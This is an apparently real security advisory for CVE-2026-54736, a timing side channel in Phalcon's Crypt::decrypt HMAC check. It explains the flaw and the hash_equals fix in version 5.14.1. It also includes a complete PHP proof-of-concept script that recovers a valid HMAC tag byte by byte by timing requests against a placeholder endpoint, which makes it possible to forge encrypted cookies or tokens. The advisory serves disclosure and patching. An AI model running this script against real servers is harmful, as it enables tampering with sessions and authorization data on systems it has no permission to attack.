highCVE-2026-54736Aug 28, 2026

CVE-2026-54736: Phalcon Crypt::decrypt HMAC Timing Side-Channel

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Phalcon's encrypted-payload verification used a non-constant-time string comparison for HMAC tags, letting a remote attacker recover a valid tag byte-by-byte from response timing and forge…

Packagephalcon/cphalcon
Ecosystemcomposer
Affected<= 5.14.0
Fixed in5.14.1
CVE-2026-54736: Phalcon Crypt::decrypt HMAC Timing Side-Channel

The problem

In Phalcon\Encryption\Crypt::decrypt, the HMAC tag supplied with a ciphertext was compared using the Zephir identity operator (!==), which compiles to ZEPHIR_IS_IDENTICAL in C, then to a memcmp that exits as soon as the first differing byte is found.

Because comparison time leaks how many leading bytes of the attacker-supplied tag are correct, an attacker with network access can probe all 256 values for each byte position, identify the correct byte from the slowest response, and recover a fully valid HMAC tag.

That tag can then be attached to a chosen IV and ciphertext, causing decrypt() to accept the tampered payload as authentic (CWE-208, CWE-347). Combined with CFB mode's byte-flip malleability, this allows tampering with decrypted content such as session cookies or encrypted authorization tokens.

Proof of concept

A working proof-of-concept for CVE-2026-54736 in phalcon/cphalcon, with the exact payload below.

php
<?php
/**
 * Timing-oracle HMAC recovery against Phalcon Crypt::decrypt <= 5.14.0
 *
 * Derived directly from the patch diff (Crypt.zep:246 before/after) and
 * the Keyczar-style attack described in the advisory.
 *
 * Setup: a Phalcon endpoint that accepts a base64-encoded encrypted blob,
 * passes it to Crypt::decrypt, and returns a measurable response-time
 * difference on HMAC mismatch vs. match for each additional correct byte.
 *
 * The attacker fixes the IV and ciphertext so the expected HMAC is
 * constant across all probes, then recovers the tag byte-by-byte.
 */

const HMAC_LEN   = 32;   // SHA-256 raw HMAC = 32 bytes
const TARGET_URL = 'https://victim.example/decrypt';
const SAMPLES    = 150;  // requests per candidate byte (average out jitter)

// Captured IV + ciphertext whose HMAC we want to forge (fixed across all probes)
$fixedIvAndCiphertext = base64_decode('/* captured blob without its HMAC tag */');

function probe(string $ivCipher, string $tagSoFar, int $bytePos, int $candidate, int $samples): float {
    $tag   = $tagSoFar . chr($candidate) . str_repeat("\x00", HMAC_LEN - $bytePos - 1);
    $blob  = base64_encode($ivCipher . $tag);
    $total = 0.0;
    for ($i = 0; $i < $samples; $i++) {
        $ch = curl_init(TARGET_URL);
        curl_setopt_array($ch, [
            CURLOPT_POST           => true,
            CURLOPT_POSTFIELDS     => http_build_query(['data' => $blob]),
            CURLOPT_RETURNTRANSFER => true,
        ]);
        curl_exec($ch);
        $total += curl_getinfo($ch, CURLINFO_TOTAL_TIME);
        curl_close($ch);
    }
    return $total / $samples;
}

$recoveredTag = '';
for ($pos = 0; $pos < HMAC_LEN; $pos++) {
    $best = ['byte' => 0, 'time' => 0.0];
    for ($b = 0; $b < 256; $b++) {
        $t = probe($fixedIvAndCiphertext, $recoveredTag, $pos, $b, SAMPLES);
        if ($t > $best['time']) {
            $best = ['byte' => $b, 'time' => $t];
        }
    }
    $recoveredTag .= chr($best['byte']);
    echo sprintf("Byte %02d: 0x%02x (%.6fs avg)\n", $pos, $best['byte'], $best['time']);
}

echo "Recovered tag (hex): " . bin2hex($recoveredTag) . "\n";
// $recoveredTag can now be appended to any IV+ciphertext to pass decrypt()

The vulnerable line in Crypt.zep:246 was if digest !== hash_hmac(...), which the Zephir compiler lowered to !ZEPHIR_IS_IDENTICAL(...) in C. That function calls Zend's is_identical_function, which for equal-length strings falls through to a memcmp that returns on the first differing byte, making comparison time proportional to the number of correct leading bytes.

Every other MAC comparison in the framework already used hash_equals() (the CSRF token check and JWT HMAC verifier), making Crypt::decrypt the sole deviation. The patch replaced the identity check with hash_equals(hash_hmac(...), digest), which runs in constant time regardless of byte agreement and also rejects truncated tags because hash_equals() returns false on length mismatch.

The fix

Upgrade phalcon/cphalcon to **v5.14.1** (commit ad53ab1). The fix replaces digest !== hash_hmac(...) with true !== hash_equals(hash_hmac(...), digest) in phalcon/Encryption/Crypt.zep:246. The tag is now also verified before unpadding, and truncated tags are rejected automatically by hash_equals().

If an immediate upgrade is not possible, wrap all Crypt::decrypt call sites with an application-level hash_equals check before invoking decryption, and enforce rate limiting on any endpoint that accepts encrypted input.

Reported by nikkoenggaliano.

References: [1][2][3][4][5][6]

Related research